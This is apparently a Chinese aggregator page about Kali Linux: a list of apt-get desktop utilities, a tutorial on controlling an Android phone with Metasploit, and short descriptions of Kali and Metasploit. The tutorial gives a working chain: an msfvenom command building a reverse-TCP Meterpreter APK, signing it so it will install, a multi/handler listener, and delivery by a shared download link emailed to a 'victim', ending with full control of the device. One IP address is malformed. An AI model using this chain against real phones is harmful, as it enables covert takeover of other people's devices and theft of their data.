内容导读：导航目录:1、kalilinux中的工具有哪些2、如何使用metasploit对安卓手机进行控制3、kalilinux渗透全教程及各种工具用法4、渗透工具包是什么kalilinux，Metasploit是什么？有...……
导航目录:
- 1、kalilinux中的工具有哪些
- 2、如何使用metasploit对安卓手机进行控制
- 3、kali linux 渗透全教程及各种工具用法
- 4、渗透工具包是什么 kali linux，Metasploit是什么？有学黑？
kalilinux中的工具有哪些
常用的工具：
官方源中的软件（可以通过apt-get install直接安装）：
apt-get install gnome-tweak-tool
（gnome-shell管理软件可以修改字体、管理插件、管理桌面主题。必备！）
apt-get install gdebi
(有了这个安装软件就不用在终端中dpkg -i 安装了，提供图形化软件安装方式)
apt-get install nautilus-open-terminal
(鼠标右键在当前目录打开终端)
apt-get install flashplugin-nonfree
update-flashplugin-nonfree --install
（浏览器flash插件）
apt-get install synaptic
（新立得软件包管理器）
apt-get install file-roller
（压缩文件管理工具）
apt-get install amule
（电骡）
apt-get install remmina*
（远程桌面+扩展）
apt-get install geany
（一个轻巧的IDE，如果您喜欢折腾emacs或者VIM就不用安装这个了）
apt-get install bluefish
（一个强大的Web编辑器）
apt-get install meld
（一款可视化的文件及目录对比、合并工具）
apt-get install audacious
（一个轻量级音乐播放器）
如何使用metasploit对安卓手机进行控制
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
```
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
`
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
`
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
1、从下载android x86的iso。
2、使用vmware创建一个内核版本为2.6的虚拟机。
3、挂载镜像，启动虚拟机。
4、进入Live模式。
5、设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的apk。
切换回Kali，我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。
kali linux 渗透全教程及各种工具用法
Metasploit渗透测试指南
这本书不光是讲Metasploit的，还讲很多别的工具，比较全，不错，还有实际的例子
渗透工具包是什么 kali linux，Metasploit是什么？有学黑？
Kali Linux是基于Debian的Linux发行版，
设计用于数字取证和渗透测试。更先由Offensive Security的Mati
Aharoni和Devon Kearns通过重写BackTrack来完成，BackTrack是他们之前写的用于取证的Linux发行版 。Kali
Linux预装了许多渗透测试软件，包括nmap (端口扫描器)、Wireshark (数据包分析器)、John the Ripper
(密码破解器),以及Aircrack-ng (一应用于对无线局域网进行渗透测试的软件).[2] 用户可通过硬盘、live CD或live
USB运行Kali Linux。Metasploit的Metasploit Framework支持Kali
Linux，Metasploit一套针对远程主机进行开发和执行Exploit代码的工具。
Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，密码审计，Web应用程序扫描，社会工程。